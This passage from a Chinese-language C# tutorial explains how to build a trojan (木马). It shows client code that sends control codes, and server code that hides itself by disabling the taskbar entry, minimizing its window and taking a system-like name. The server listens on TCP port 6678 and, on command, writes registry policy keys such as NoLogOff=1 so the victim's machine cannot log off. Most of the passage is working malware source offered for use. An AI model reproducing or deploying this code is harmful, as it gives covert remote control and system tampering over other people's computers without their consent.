&quot;正在试图控制,等待回应......&quot; + &quot; &quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stream = client.GetStream(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(stream.CanWrite ) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stream.Write(by,0,by.Length); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stream.Flush(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;threadReceive =new Thread(new ThreadStart(receive)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;threadReceive.Start(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}//endif &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}//try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.AppendText(&quot;服务器未连接1控制无效!&quot; +&quot; &quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(&quot;服务器未连接1控制无效!&quot; +&quot; &quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}//else if } &nbsp;&nbsp;&nbsp;&nbsp; 4线程执行的函数 private void receive() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//设置读取数据的空间 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;byte[] bb = new byte[3]; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//读取3个字节,i为实际读取的字节数 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int i = stream.Read(bb,0,3); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string ss = System.Text.Encoding.ASCII.GetString(bb); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(ss==&quot;hjc&quot;) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(&quot;连接成功&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.AppendText(&quot;连接成功&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(ss== &quot;hkz&quot;) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.AppendText(control +&quot;控制成功&quot;+&quot; &quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(control +&quot;控制成功&quot;+&quot; &quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} } 服务端的开发: &nbsp;&nbsp;&nbsp;&nbsp;要<em>实现</em>木马服务的程序,主要<em>实现</em>以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: 1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下: private void InitializeComponent() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Form1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//窗体显示的起点和大小 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.ClientSize = new System.Drawing.Size(368, 357); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//窗体名称 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.Name = &quot;Form1&quot;; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//设置属性让它后台运行 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.ShowInTaskbar = false; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.Text = &quot;Form1&quot;; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.WindowState = System.Windows.Forms.FormWindowState.Minimized; } 2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下: public Form1()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//窗体的构造函数 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Windows 窗体设计器支持所必需的 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InitializeComponent(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// TODO: 在 InitializeComponent 调用后添加任何构造函数代码 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//加入你的侦听代码 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//端口你可以自已设定,我使用了固定的端口 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int port&nbsp;&nbsp;=6678; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;listener = new TcpListener(port); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//启动侦听 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;listener.Start(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//增加接收控制码的线程,如果要停止线程可以用 Thread.abort() //reControlCode 是线程启动执行的函数,此函数根据接收的控制 //控制码选取合适的注册表修改函数 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thread thread = new Thread(new ThreadStart(reControlCode)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;thread.Start(); &nbsp;&nbsp;&nbsp;&nbsp;} reControlCode函数如下,完整代码见程序 private void reControlCode() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;socket = listener.AcceptSocket(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//如果连接成功执行 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while (socket.Connected) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//接收控制码 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;byte [] by =new byte[6]; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int i = socket.Receive(by,by.Length ,0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string ss = System.Text.Encoding.ASCII.GetString(by); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//根据控制码执行不同的功能 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//修改注册表加入编码 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch (ss) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ case &quot;jiance&quot;://测试连接,返回测试信息 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string str =&quot;hjc&quot;; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;socket.Send(bytee,0,bytee.Length,0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &quot;zx1000&quot;: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//修改注册表函数,自已定义,见下面分析 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UnLogOff(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//返回控制消息 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;retMessage(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;&nbsp;&quot;zx0100&quot;: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//修改注册表函数 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UnClose(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//返回控制消息 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;retMessage(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//重复的case功能与前面一样,略掉 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}//case &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}//while &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;//private void reControlCode 3.C#中<em>实现</em>注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer 下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#<em>实现</em>对注册表的修改: private void UnLogOff() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//得到主机的注册表的顶级节点 Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; //设置一个注册表子键的变量 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegistryKey key1; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)<em>检索</em>指定的子键 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//registrykey是用户指定的键值,canwrite 为true则可修改,<em>默认</em>为fasle不可改 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key1 = rLocal.OpenSubKey(&quot;SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer&quot;,true); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//设置子键的键名,和值 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key1.SetValue (&quot;NoLogOff&quot;,1); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//关闭打开的子键 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key1.Close(); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//警告字符串设定 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mystr = mystr +&quot;HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值Nologoff被修改!请将它置为0!&quot;; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch{} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//如果不存在自已建立 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(key1 ==null) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegistryKey key2 = rLocal.CreateSubKey(&quot;SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key2.SetValue(&quot;NoLogOff&quot;,1); 